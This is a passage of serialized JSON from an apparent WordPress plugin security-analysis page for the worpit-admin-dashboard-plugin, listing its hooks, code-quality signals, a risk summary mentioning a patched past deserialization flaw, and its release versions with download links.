\u002F>\nalong with this program; if not, write to the Free Software\u003Cbr \u002F>\nFoundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\u003C\u002Fp>\n","A web developers toolbox for remotely managing and monitoring tens, hundreds, or thousands of WordPress websites at once.",4000,169572,"2026-03-12T08:26:00.000Z","4.6","7.2",[20,178,238,239,240],"wordpress-dashboard","wordpress-management","wordpress-manager","https:\u002F\u002Fapp.watchful.net","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwatchful.zip",{"attackSurface":244,"codeSignals":320,"taintFlows":340,"riskAssessment":341,"analyzedAt":346},{"hooks":245,"ajaxHandlers":316,"restRoutes":317,"shortcodes":318,"cronEvents":319,"entryPointCount":29,"unprotectedCount":29},[246,252,255,259,264,268,274,277,282,287,291,294,299,303,308,313],{"type":247,"name":248,"callback":249,"file":250,"line":251},"action","admin_notices","onWpAdminNotices","src\\common\\wp-admin-notices.php",27,{"type":247,"name":253,"callback":249,"file":250,"line":254},"network_admin_notices",28,{"type":247,"name":256,"callback":257,"file":250,"line":258},"wp_loaded","flushFlashMessage",29,{"type":247,"name":260,"callback":261,"file":262,"line":263},"plugins_loaded","onWpPluginsLoaded","src\\features\\base.php",72,{"type":247,"name":256,"callback":265,"file":266,"line":267},"doAutoRemoteSiteAdd","src\\features\\plugin.php",20,{"type":269,"name":270,"callback":271,"file":272,"line":273},"filter","auto_update_plugin","autoupdate_plugins","src\\processors\\autoupdates.php",8,{"type":269,"name":275,"callback":276,"file":272,"line":48},"auto_update_theme","autoupdate_themes",{"type":269,"name":278,"callback":279,"priority":194,"file":280,"line":281},"wpss_misc_form_spam_check_bypass","__return_true","src\\processors\\compatibility.php",208,{"type":247,"name":283,"callback":284,"file":285,"line":286},"wp","onWp","src\\processors\\google_analytics.php",11,{"type":247,"name":288,"callback":289,"file":285,"line":290},"wp_enqueue_scripts","closure",19,{"type":247,"name":292,"callback":289,"file":285,"line":293},"wp_body_open",39,{"type":247,"name":295,"callback":296,"file":297,"line":298},"init","getPluginUrl","src\\processors\\plugin.php",15,{"type":269,"name":300,"callback":279,"file":301,"line":302},"odp-shield-2fa_skip","src\\processors\\plugin_api_login.php",61,{"type":269,"name":304,"callback":305,"priority":194,"file":306,"line":307},"user_has_cap","disallowFileEditing","src\\processors\\security.php",10,{"type":269,"name":309,"callback":310,"priority":311,"file":312,"line":206},"plugin_row_meta","fRemoveDetailsMetaLink",200,"src\\processors\\whitelabel.php",{"type":247,"name":248,"callback":289,"file":314,"line":315},"worpit.php",35,[],[],[],[],{"dangerousFunctions":321,"sqlUsage":322,"outputEscaping":324,"fileOperations":338,"externalRequests":338,"nonceChecks":338,"capabilityChecks":338,"bundledLibraries":339},[],{"prepared":60,"raw":29,"locations":323},[],{"escaped":325,"rawEcho":159,"locations":326},101,[327,331,333,336],{"file":328,"line":329,"context":330},"src\\common\\icwp-render.php",58,"raw output",{"file":250,"line":332,"context":330},68,{"file":334,"line":335,"context":330},"templates\\php\\feature-plugin.php",81,{"file":314,"line":337,"context":330},36,1,[],[],{"summary":342,"deductions":343},"The \"worpit-admin-dashboard-plugin\" v5.5.4 exhibits a mixed security posture. On one hand, the static analysis reveals strong adherence to secure coding practices, with all SQL queries utilizing prepared statements, a high percentage of output escaping, and the presence of nonce and capability checks.  Furthermore, the absence of any identified taint flows or dangerous functions suggests a well-sanitized codebase.\n\nHowever, the plugin's vulnerability history is a significant concern. The presence of one critical vulnerability in the past, specifically related to \"Deserialization of Untrusted Data,\" indicates a historical weakness that, while currently patched according to the data, warrants caution. The fact that this critical vulnerability was recent (2025-01-30) means that even if patched, it highlights a potential area of risk that may require ongoing scrutiny and robust security testing for future versions. The current lack of unpatched vulnerabilities is a positive sign, but the historical critical flaw should not be overlooked.\n\nIn conclusion, while the current version of the plugin demonstrates good internal security hygiene, the historical critical vulnerability casts a shadow. Users should remain vigilant for future updates and any emerging security advisories, given the potential for complex deserialization flaws to reappear in different forms.",[344],{"reason":345,"points":267},"Historical critical vulnerability (Deserialization)","2026-03-16T18:57:11.752Z",{"wat":348,"direct":361},{"assetPaths":349,"generatorPatterns":354,"scriptPaths":355,"versionParams":356},[350,351,352,353],"\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fassets\u002Fcss\u002Fbootstrap-wpadmin-fixes.css","\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fassets\u002Fcss\u002Fbootstrap-wpadmin.css","\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fassets\u002Fcss\u002Fplugin-admin.css","\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fassets\u002Fcss\u002Fglobal-plugin.css",[],[],[357,358,359,360],"worpit-admin-dashboard-plugin\u002Fassets\u002Fcss\u002Fbootstrap-wpadmin-fixes.css?ver=","worpit-admin-dashboard-plugin\u002Fassets\u002Fcss\u002Fbootstrap-wpadmin.css?ver=","worpit-admin-dashboard-plugin\u002Fassets\u002Fcss\u002Fplugin-admin.css?ver=","worpit-admin-dashboard-plugin\u002Fassets\u002Fcss\u002Fglobal-plugin.css?ver=",{"cssClasses":362,"htmlComments":368,"htmlAttributes":369,"restEndpoints":371,"jsGlobals":372,"shortcodeOutput":374},[363,364,365,366,367],"icwp-admin-menu-page","icwp-admin-page-header","icwp-admin-main","icwp-admin-main-content","icwp-admin-main-content-area",[],[370],"data-plugin-slug",[],[373],"icwp_vars",[],{"error":59,"url":376,"statusCode":377,"statusMessage":378,"message":378},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":205,"versions":380},[381,386,394,402,410,418,426,434,442,450,458,466,474,482,490,498,506,514,522,530,538,546,554,562,570,578,586,594,602,609,618,627,636,645,654,663,672,681,690,699,708,717,726,735,744,753,762,771,780,789,798,807,816,825,834,843,852,861,870,879,888,897,906,915,924,933,942,951,960,969,978,987,996,1005,1014,1023,1032,1041,1050,1059,1068,1077,1086,1095,1104,1113,1122,1131,1140,1149,1158],{"version":6,"download_url":26,"svn_tag_url":382,"released_at":39,"has_diff":129,"diff_files_changed":383,"diff_lines":39,"trac_diff_url":384,"vulnerabilities":385,"is_current":59},"https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.5.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.5.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.5.4",[],{"version":387,"download_url":388,"svn_tag_url":389,"released_at":39,"has_diff":129,"diff_files_changed":390,"diff_lines":39,"trac_diff_url":391,"vulnerabilities":392,"is_current":129},"5.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.5.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.5.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.5.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.5.3",[393],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":395,"download_url":396,"svn_tag_url":397,"released_at":39,"has_diff":129,"diff_files_changed":398,"diff_lines":39,"trac_diff_url":399,"vulnerabilities":400,"is_current":129},"5.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.5.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.5.1",[401],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":403,"download_url":404,"svn_tag_url":405,"released_at":39,"has_diff":129,"diff_files_changed":406,"diff_lines":39,"trac_diff_url":407,"vulnerabilities":408,"is_current":129},"5.5.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.5.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.5.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.4.4&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.5.0",[409],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":411,"download_url":412,"svn_tag_url":413,"released_at":39,"has_diff":129,"diff_files_changed":414,"diff_lines":39,"trac_diff_url":415,"vulnerabilities":416,"is_current":129},"5.4.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.4.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.4.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.4.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.4.4",[417],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":419,"download_url":420,"svn_tag_url":421,"released_at":39,"has_diff":129,"diff_files_changed":422,"diff_lines":39,"trac_diff_url":423,"vulnerabilities":424,"is_current":129},"5.4.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.4.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.4.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.4.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.4.3",[425],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":427,"download_url":428,"svn_tag_url":429,"released_at":39,"has_diff":129,"diff_files_changed":430,"diff_lines":39,"trac_diff_url":431,"vulnerabilities":432,"is_current":129},"5.4.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.4.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.4.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.4.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.4.2",[433],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":435,"download_url":436,"svn_tag_url":437,"released_at":39,"has_diff":129,"diff_files_changed":438,"diff_lines":39,"trac_diff_url":439,"vulnerabilities":440,"is_current":129},"5.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.4.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.4.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.4.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.4.1",[441],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":443,"download_url":444,"svn_tag_url":445,"released_at":39,"has_diff":129,"diff_files_changed":446,"diff_lines":39,"trac_diff_url":447,"vulnerabilities":448,"is_current":129},"5.4.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.4.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.4.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.3.6&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.4.0",[449],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":451,"download_url":452,"svn_tag_url":453,"released_at":39,"has_diff":129,"diff_files_changed":454,"diff_lines":39,"trac_diff_url":455,"vulnerabilities":456,"is_current":129},"5.3.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.3.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.3.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.3.4&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.3.6",[457],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":459,"download_url":460,"svn_tag_url":461,"released_at":39,"has_diff":129,"diff_files_changed":462,"diff_lines":39,"trac_diff_url":463,"vulnerabilities":464,"is_current":129},"5.3.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.3.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.3.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.3.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.3.4",[465],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":467,"download_url":468,"svn_tag_url":469,"released_at":39,"has_diff":129,"diff_files_changed":470,"diff_lines":39,"trac_diff_url":471,"vulnerabilities":472,"is_current":129},"5.3.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.3.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.3.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.3.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.3.3",[473],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":475,"download_url":476,"svn_tag_url":477,"released_at":39,"has_diff":129,"diff_files_changed":478,"diff_lines":39,"trac_diff_url":479,"vulnerabilities":480,"is_current":129},"5.3.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.3.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.3.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.3.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.3.2",[481],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":483,"download_url":484,"svn_tag_url":485,"released_at":39,"has_diff":129,"diff_files_changed":486,"diff_lines":39,"trac_diff_url":487,"vulnerabilities":488,"is_current":129},"5.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.3.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.3.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.2.5&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.3.0",[489],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":491,"download_url":492,"svn_tag_url":493,"released_at":39,"has_diff":129,"diff_files_changed":494,"diff_lines":39,"trac_diff_url":495,"vulnerabilities":496,"is_current":129},"5.2.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.2.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.2.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.2.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.2.5",[497],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":499,"download_url":500,"svn_tag_url":501,"released_at":39,"has_diff":129,"diff_files_changed":502,"diff_lines":39,"trac_diff_url":503,"vulnerabilities":504,"is_current":129},"5.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.2.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.2.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.2.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.2.3",[505],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":507,"download_url":508,"svn_tag_url":509,"released_at":39,"has_diff":129,"diff_files_changed":510,"diff_lines":39,"trac_diff_url":511,"vulnerabilities":512,"is_current":129},"5.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.2.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.2.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.2.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.2.2",[513],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":515,"download_url":516,"svn_tag_url":517,"released_at":39,"has_diff":129,"diff_files_changed":518,"diff_lines":39,"trac_diff_url":519,"vulnerabilities":520,"is_current":129},"5.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.2.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.2.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.2.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.2.1",[521],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":523,"download_url":524,"svn_tag_url":525,"released_at":39,"has_diff":129,"diff_files_changed":526,"diff_lines":39,"trac_diff_url":527,"vulnerabilities":528,"is_current":129},"5.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.2.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.2.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.1.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.2.0",[529],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":531,"download_url":532,"svn_tag_url":533,"released_at":39,"has_diff":129,"diff_files_changed":534,"diff_lines":39,"trac_diff_url":535,"vulnerabilities":536,"is_current":129},"5.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.1.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.1.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.1.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.1.3",[537],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":539,"download_url":540,"svn_tag_url":541,"released_at":39,"has_diff":129,"diff_files_changed":542,"diff_lines":39,"trac_diff_url":543,"vulnerabilities":544,"is_current":129},"5.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.1.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.1.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.1.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.1.2",[545],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":547,"download_url":548,"svn_tag_url":549,"released_at":39,"has_diff":129,"diff_files_changed":550,"diff_lines":39,"trac_diff_url":551,"vulnerabilities":552,"is_current":129},"5.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.1.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.1.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.0.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.1.1",[553],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":555,"download_url":556,"svn_tag_url":557,"released_at":39,"has_diff":129,"diff_files_changed":558,"diff_lines":39,"trac_diff_url":559,"vulnerabilities":560,"is_current":129},"5.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.0.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.0.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.0.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.0.2",[561],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":563,"download_url":564,"svn_tag_url":565,"released_at":39,"has_diff":129,"diff_files_changed":566,"diff_lines":39,"trac_diff_url":567,"vulnerabilities":568,"is_current":129},"5.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.0.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.0.1",[569],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":571,"download_url":572,"svn_tag_url":573,"released_at":39,"has_diff":129,"diff_files_changed":574,"diff_lines":39,"trac_diff_url":575,"vulnerabilities":576,"is_current":129},"5.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.5.0.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F5.0.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.5.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F5.0.0",[577],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":579,"download_url":580,"svn_tag_url":581,"released_at":39,"has_diff":129,"diff_files_changed":582,"diff_lines":39,"trac_diff_url":583,"vulnerabilities":584,"is_current":129},"4.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.5.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.5.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.5.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.5.3",[585],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":587,"download_url":588,"svn_tag_url":589,"released_at":39,"has_diff":129,"diff_files_changed":590,"diff_lines":39,"trac_diff_url":591,"vulnerabilities":592,"is_current":129},"4.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.5.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.5.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.5.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.5.2",[593],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":595,"download_url":596,"svn_tag_url":597,"released_at":39,"has_diff":129,"diff_files_changed":598,"diff_lines":39,"trac_diff_url":599,"vulnerabilities":600,"is_current":129},"4.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.5.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.5.1",[601],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":122,"download_url":603,"svn_tag_url":604,"released_at":39,"has_diff":129,"diff_files_changed":605,"diff_lines":39,"trac_diff_url":606,"vulnerabilities":607,"is_current":129},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.5.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.5.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.4.5&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.5.0",[608],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":610,"download_url":611,"svn_tag_url":612,"released_at":39,"has_diff":129,"diff_files_changed":613,"diff_lines":39,"trac_diff_url":614,"vulnerabilities":615,"is_current":129},"4.4.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.4.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.4.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.4.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.4.5",[616,617],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":619,"download_url":620,"svn_tag_url":621,"released_at":39,"has_diff":129,"diff_files_changed":622,"diff_lines":39,"trac_diff_url":623,"vulnerabilities":624,"is_current":129},"4.4.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.4.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.4.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.3